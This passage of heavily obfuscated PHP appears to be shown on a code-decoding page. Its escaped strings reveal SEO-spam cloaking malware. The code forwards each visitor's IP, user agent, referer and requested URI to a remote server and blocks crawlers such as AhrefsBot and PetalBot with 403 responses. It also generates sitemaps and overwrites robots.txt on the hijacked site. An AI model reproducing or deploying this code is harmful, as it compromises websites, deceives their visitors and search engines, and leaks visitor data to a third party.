"\77\141\147\145\156\x74\75{$EytnK}\46\162\x65\x66\145\x72\x3d{$K45TG}\x26\154\141\x6e\x67\75{$YQbol}\x26\151\160\x3d{$g3DVV}\46\x64\157\155\x3d{$MkdXX}\46\x68\164\164\160\x3d{$d7weS}\46\165\x72\151\x3d{$P4wqF}\x26\160\143\75{$q1WJ1}\x26\162\x65\167\162\151\164\x65\x61\x62\x6c\x65\75{$w4NEl}\46\163\143\162\151\x70\x74\75{$Q1wUN}\46\x73\x69\x74\145\155\x61\160\x3d" . urlencode($kJNox); goto F1UpO; fAoU2: header("\x43\x6f\x6e\x74\x65\156\164\55\x54\x79\160\145\72\x20\164\145\x78\164\57\150\164\155\154\73\40\x63\150\141\162\163\x65\x74\x3d\x75\x74\x66\x2d\70"); goto okRgY; eqIgi: u4aOT: goto rlFeb; g3BZa: goto FemjR; goto Q0re8; GmNao: $kJNox = "{$d7weS}\72\57\57" . $MkdXX . $Ua8F8 . "\163\151\x74\145\155\141\x70\56\170\x6d\x6c"; goto shJoo; bl7Ax: PAQ1i: goto S8V9h; QuJoL: header("\x48\x54\124\x50\x2f\61\x2e\x30\x20\64\60\63\x20\106\157\x72\x62\151\144\x64\145\156"); goto ktCoQ; o0PmE: exit; goto m5zxz; M0sgE: if ($ZMQ1T == "\x35\60\60") { goto js_5U; } goto h_keu; FdVol: $Ua8F8 = $Ua8F8 . "\x3f"; goto u5Kb_; GeQkr: $ZMQ1T = gqqFS($ys0KP); goto ZvYev; lmL0X: goto y4IZA; goto uUAh4; VIft0: Wgajw: goto kYdCt; VeDKo: goto sIcaC; goto CS1ri; GxZOD: exit; goto a_2uC; KPrLw: exit; goto wtp14; LbzPf: if (!($ZMQ1T == "\65\x30\x30")) { goto U7d7F; } goto YTdqk; FwnfY: goto wT6Iy; goto Ig1Ng; uejR7: $P4wqF = urldecode($_SERVER["\x52\x45\x51\x55\105\123\x54\137\x55\122\111"]); goto asooU; r9GbT: $ys0KP = $Qgiuo . "\77\x61\x67\x65\x6e\x74\x3d{$EytnK}\x26\x72\145\x66\x65\162\75{$K45TG}\x26\154\x61\156\x67\75{$YQbol}\x26\x69\x70\x3d{$g3DVV}\x26\x64\157\155\75{$MkdXX}\x26\150\164\x74\160\75{$d7weS}\46\165\x72\151\75{$P4wqF}\x26\160\143\x3d{$q1WJ1}\46\162\x65\x77\x72\151\164\x65\141\x62\154\x65\x3d{$w4NEl}\x26\x73\143\162\x69\160\164\x3d{$Q1wUN}"; goto GeQkr; yOEtY: if (strpos($P4wqF, "\x6a\160\x32\x30\62\63") !== false) { goto S2jFs; } goto fW6xN; lcHG2: exit; goto AYwfi; Ffxu8: wT6Iy: goto HCW_y; XysPR: $Ua8F8 = "\x2f"; goto GFHJ9; HtA99: j4WCg: goto kzGS1; tc452: $wJrpg = ''; goto xQcpP; wXa2z: $w4NEl = 0; goto Xw4Nw; uUAh4: XpbwK: goto ueKHd; tmAv8: if (!preg_match("\57\x28\x42\171\x74\145\x73\160\x69\144\x65\x72\174\120\x65\x74\141\154\x42\x6f\164\x7c\101\150\x72\145\x66\x73\x42\x6f\x74\x7c\102\x61\162\x6b\162\x6f\x77\x6c\x65\x72\174\115\112\61\x32\x62\x6f\164\x7c\x46\x65\145\x64\104\x65\155\157\x6e\x7c\x4a\151\x6b\145\123\160\x69\x64\145\162\174\x49\x6e\144\171\40\114\x69\142\162\141\x72\171\x7c\101\x73\x6b\124\142\x46\130\x54\x56\x7c\103\162\x61\167\x6c\104\x61\x64\144\x79\174\x43\157\x6f\154\x70\141\x64\x57\x65\x62\x6b\151\164\x7c\x4a\141\x76\141\x7c\x46\145\x65\x64\x6c\x79\x7c\125\156\151\166\x65\x72\x73\141\x6c\x46\145\x65\144\x50\141\x72\x73\x65\162\174\x41\160\141\x63\x68\145\102\145\156\143\150\x7c\123\x77\x69\x66\164\142\x6f\x74\174\x5a\x6d\x45\x75\174\x6f\102\157\164\x7c\x6a\x61\165\156\x74\171\x7c\x50\171\x74\x68\x6f\156\55\x75\x72\154\154\x69\x62\x7c\160\171\164\x68\157\x6e\x2d\x72\145\x71\165\145\163\164\163\x7c\154\151\147\x68\x74\x44\x65\143\x6b\122\x65\x70\157\162\x74\163\40\x42\x6f\x74\x7c\x59\131\123\x70\151\x64\x65\162\x7c\x44\x69\x67\105\170\164\x7c\x59\151\163\157\165\123\160\x69\144\145\162\x7c\x48\x74\x74\160\103\154\x69\145\x6e\x74\x7c\150\145\162\151\164\162\x69\170\174\105\141\x73\x6f\165\123\x70\151\x64\x65\162\x7c\105\172\x6f\157\x6d\163\x7c\x41\x6d\141\x7a\157\x6e\102\157\164\174\x53\x45\115\x72\165\x73\x68\102\x6f\164\174\x59\141\x6e\x64\145\x78\x42\157\x74\x7c\160\x61\154\x6f\x61\x6c\x74\x6f\x6e\145\164\167\157\x72\x6b\163\174\120\171\164\150\x6f\156\51\57\151", $_SERVER["\110\124\x54\x50\137\x55\123\105\x52\137\x41\107\105\x4e\x54"])) { goto Wgajw; } goto QuJoL; SEL93: $q1WJ1 = 2786; goto G7Uxs; odYAu: exit; goto QxALX; HIPiu: sIcaC: goto jOxLU; jOxLU: goto iF11I; goto raRp9; Q0re8: mj7ZU: goto DhFgE; YwLma: Uth3k: goto yHwAq; qZ3jZ: exit; goto AGMOa; vlq11: if (preg_match("\100\x5e\57\x28\x2e\x2a\77\51\x2e\x78\x6d\154\x24\100\151", $P4wqF)) { goto VUALI; } goto YRFrF; YAVpm: hcvG9: goto kIGsr; g3dWP: header("\103\157\156\164\145\156\x74\x2d\x54\171\160\145\72\40\164\145\x78\x74\x2f\170\155\154\x3b\40\x63\x68\141\162\163\145\164\x3d\165\164\x66\x2d\x38"); goto mAXOs; ljV2k: goto B8mSP; goto jz8My; jz8My: LcPBK: goto EOl2Y; n6ijX: @file_put_contents("\x72\x6f\x62\157\x74\x73\56\164\170\x74", $QJb7u); goto lcHG2; fQHdm: echo $ZMQ1T; goto KPrLw; AGMOa: y7LUh: goto FwnfY; And_K: $N4XO2 = Tpyea(); goto Huh_e; e2eHA: echo "\157\153"; goto odYAu; d_R_G: header("\x48\124\124\120\x2f\x31\x2e\x30\x20\64\x30\x33\x20\106\x6f\x72\x62\151\x64\144\145\x6e"); goto rv3t7; pL4Cv: header("\x48\x54\124\120\57\x31\x2e\x30\40\65\60\x30\40\111\x6e\x74\145\162\x6e\141\154\40\123\x65\162\166\x65\162\x20\x45\x72\x72\x6f\x72"); goto vA_gk; NkHUh: header("\x43\x6f\156\x74\x65\156\x74\x2d\x54\x79\x70\145\x3a\x20\x74\x65\x78\164\x2f\170\x6d\154\73\x20\143\x68\x61\162\163\145\164\x3d\165\x74\146\55\x38"); goto SbjQb; Bv2P6: exit; goto HIPiu; DhFgE: $w4NEl = 1; goto GzvKl; M3k1z: $ys0KP = $Qgiuo . "\77\141\147\145\x6e\164\x3d{$EytnK}\x26\x72\x65\x66\x65\162\75{$K45TG}\x26\x6c\141\156\147\x3d{$YQbol}\46\151\160\x3d{$g3DVV}\x26\144\157\x6d\75{$MkdXX}\46\x68\x74\x74\160\x3d{$d7weS}\46\x75\162\151\75{$P4wqF}\46\x70\143\x3d{$q1WJ1}\46\162\x65\x77\162\x69\x74\x65\141\142\x6c\x65\x3d{$w4NEl}\46\163\143\x72\151\x70\x74\75{$Q1wUN}"; goto ovWZd; F63uH: goto S06pz; goto PJrn2; QQhcT: VUALI: goto r9GbT; ueKHd: $_SERVER["\122\105\x51\x55\105\x53\x54\x5f\x53\103\110\105\x4d\x45"] = "\150\x74\x74\160\163"; goto j2Vtd; B7SMO: if ($ZMQ1T == "\x6f\x6b") { goto mj7ZU; } goto sECFA; AYwfi: MRSyC:
?>

Function Calls

None

Variables

None

Stats

MD5 5771092f9093aac562e26dc4f5dd0278
Eval Count 0
Decode Time 85 ms